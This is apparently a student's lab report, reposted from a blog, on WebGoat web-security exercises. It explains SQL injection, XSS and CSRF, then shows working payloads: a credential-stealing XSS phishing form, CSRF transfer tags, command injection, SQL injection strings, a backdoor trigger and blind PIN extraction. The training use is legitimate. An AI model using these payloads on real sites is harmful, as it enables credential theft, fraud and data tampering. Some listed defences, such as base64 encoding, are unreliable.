20155330 《网络对抗》 Exp9 web安全基础实践

20155330 《网络对抗》 Exp9 web安全基础实践

实验问题回答

  1. SQL注入攻击原理,如何防御
    • 原理:SQL注入攻击值得是通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的一下组合,通过执行SQL语句进执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统。
    • 防御方法:
      • 采用sql语句预编译和绑定变量
      • 采用字符串拼接的方式,严格检查参数的数据类型
      • base64编码
      • 控制用户的权限,以及做好数据库本身的安全工作
  2. XSS攻击的原理,如何防御
    • 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。
    • 防御方法:
      • 输入检查:检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。
      • 搭建CDN,隐藏服务器真实IP
      • 在表单提交或url参数传递前,对需要的参数进行过滤
  3. CSRF攻击原理,如何防御
    • 原理:通过伪装来自受信任用户的请求来利用受信任的网站。依靠用户标识危害网站;利用网站对用户标识的信任;欺骗用户的浏览器发送HTTP请求给目标站点;还可以通过IMG标签会触发一个GET请求,可以利用它来实现CSRF攻击。
    • 防御方法:
      • 验证 HTTP Referer 字段
      • 在请求地址中添加 token 并验证
      • 在 HTTP 头中自定义属性并验证
      • 对于用户修改删除等操作使用 post 操作

        实验总结与体会

这次实验做的多是关于Web安全的练习,练习内容比较丰富,主要是SQL注入、CSRF攻击、XSS攻击三个部分的内容。通过学习实践对web开发常见的安全问题有了一定的了解。

实践过程记录

WebGoat

  • 终端输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat。
    1071510-20180528193712415-338273551.png
  • 直到出现下图所示内容:
    1071510-20180528193725593-2099814898.png
  • 在浏览器地址栏输入localhost:8080/WebGoat打开WebGoat,选择默认账号、密码登陆。
    1071510-20180528203558678-1526994981.png

    XSS攻击

    1、Phishing with XSS 跨站脚本钓鱼攻击
  • 编写一个包含用户名、密码的前端代码:

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
  • 在webgoat找到Cross-Site Scripting(XSS),打开Phishing with XSS
    1071510-20180528192122798-740878155.png
  • 将代码输入到框中,点击search出现登录框:
    1071510-20180528192135723-423128510.png
    1071510-20180528192129232-1425564969.png
  • 输入用户名20155330,密码。
  • 点击登录后跳出包含用户名和密码的弹框:
    1071510-20180528192142341-254999648.png

    2、Stored XSS Attacks 存储型XSS攻击
  • 打开Stored XSS Attacks,在Message框中输入<script>alert("I am 20155330");</script>提交
    1071510-20180528203635836-2137089243.png
  • 点击提交后弹出显示I am 20155330的对话框。攻击成功!
    1071510-20180528203653900-209047785.png

    3、Reflected XSS Attacks 反射型XSS攻击
  • 在code框中输入<script>alert("I am 20155330");</script>
    1071510-20180528203854911-1416029948.png
  • 点击Purchase出现显示I am 20155330的对话框。攻击成功!
    1071510-20180528203658363-242782465.png

    CSRF攻击

    4、Cross Site Request Forgery(CSRF)
  • 查看Parameters中的srcmenu的值。
    1071510-20180528203859228-1448387795.png
  • 在Title中输入学号,Message中输入代码<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>
    1071510-20180528203902988-401220081.png
  • 提交后生成链接。
    1071510-20180528204145820-1049667454.png
  • 点击链接查看用户操作的信息,攻击成功。
    1071510-20180528204149712-1387766609.png

    5、CSRF Prompt By-Pass
  • 查看Parameters中的srcmenu的值。在Title中输入学号,Message中输入代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

1071510-20180528204231037-182286347.png
1071510-20180528204227081-1849116805.png

  • 提交代码生成链接。
    1071510-20180528204234864-149271640.png
  • 点击链接查看用户操作的信息,攻击成功。
    1071510-20180528204239184-2049954032.png

    SQL注入攻击

    6、Command Injection
  • 使用Firefox浏览器中的Firebug功能对源代码进行修改。在BackDoors.help旁边加上"& netstat -an & ipconfig"
    1071510-20180528204335147-504889582.png
    1071510-20180528204339252-243285737.png
  • 在下拉菜单中能看到修改后的值
    1071510-20180528204343153-1198499926.png
  • 选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况
    1071510-20180528204404576-1827380495.png

    7、Numeric SQL Injection
  • 选中Columbia,点Go,看到该城市的天气信息。
    1071510-20180528205630441-665487549.png
  • 利用firebug,在任意一个值如101旁边加上or 1=1
    1071510-20180528205625614-1697161603.png
  • 选中Columbia,点Go,可以看到所有天气数据:
    1071510-20180528205722291-1835337465.png

    8、Log Spoofing
  • User Name文本框中输入zy%0d%0aLogin Succeeded for username: admin(%0d是回车,%0a是换行符),点击登录,攻击成功。
    1071510-20180528205916815-149774206.png

    9、String SQL Injection
  • 在文本框中输入' or 1='1。点Go,所有用户信息被显示,攻击成功。
    1071510-20180528210055665-1533859833.png

    10、LAB:SQL Injection(Stage 1:String SQL Injection)
  • 以用户Neville登录,在密码栏中输入' or 1='1进行SQL注入,注入前需对密码文本框的字符长度进行修改。
    1071510-20180528210758557-2029170049.png
  • 登录成功。
    1071510-20180528210802229-976391352.png

    11、LAB:SQL Injection(Stage 3:Numeric SQL Injection)
  • 根据Stage1中的登录方法以用户名Larry登录,登录之后看到浏览员工信息的按钮是ViewProfile。利用Firebug将ViewProfilevalue值改为101 or 1=1 order by salary desc --
    1071510-20180528210936272-1817278042.png
  • 查看到老板信息。
    1071510-20180528210940443-1738079689.png

    12、Database Backdoors
  • 输入101得到用户信息。
    1071510-20180528211104098-578085024.png
  • 输入注入语句:101; update employee set salary=10000,把该用户的工资涨到10000:
    1071510-20180528211108310-1347436046.png
  • 使用语句101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155330@163.com' WHERE userid = NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为
    1071510-20180528211112683-2101655037.png

    13、Blind Numeric SQL Injection
  • 输入语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );查看pin数值是否大于10000
    1071510-20180528211204742-799588285.png
  • 经过不断尝试,慢慢缩小范围,最终可以确定pin的值在2300到2400之间。然后再尝试2300到2350或2350到2400,最后确定pin值为2364。
    1071510-20180528211208360-231826372.png

转载于:https://www.cnblogs.com/ashin-kl/p/9103962.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值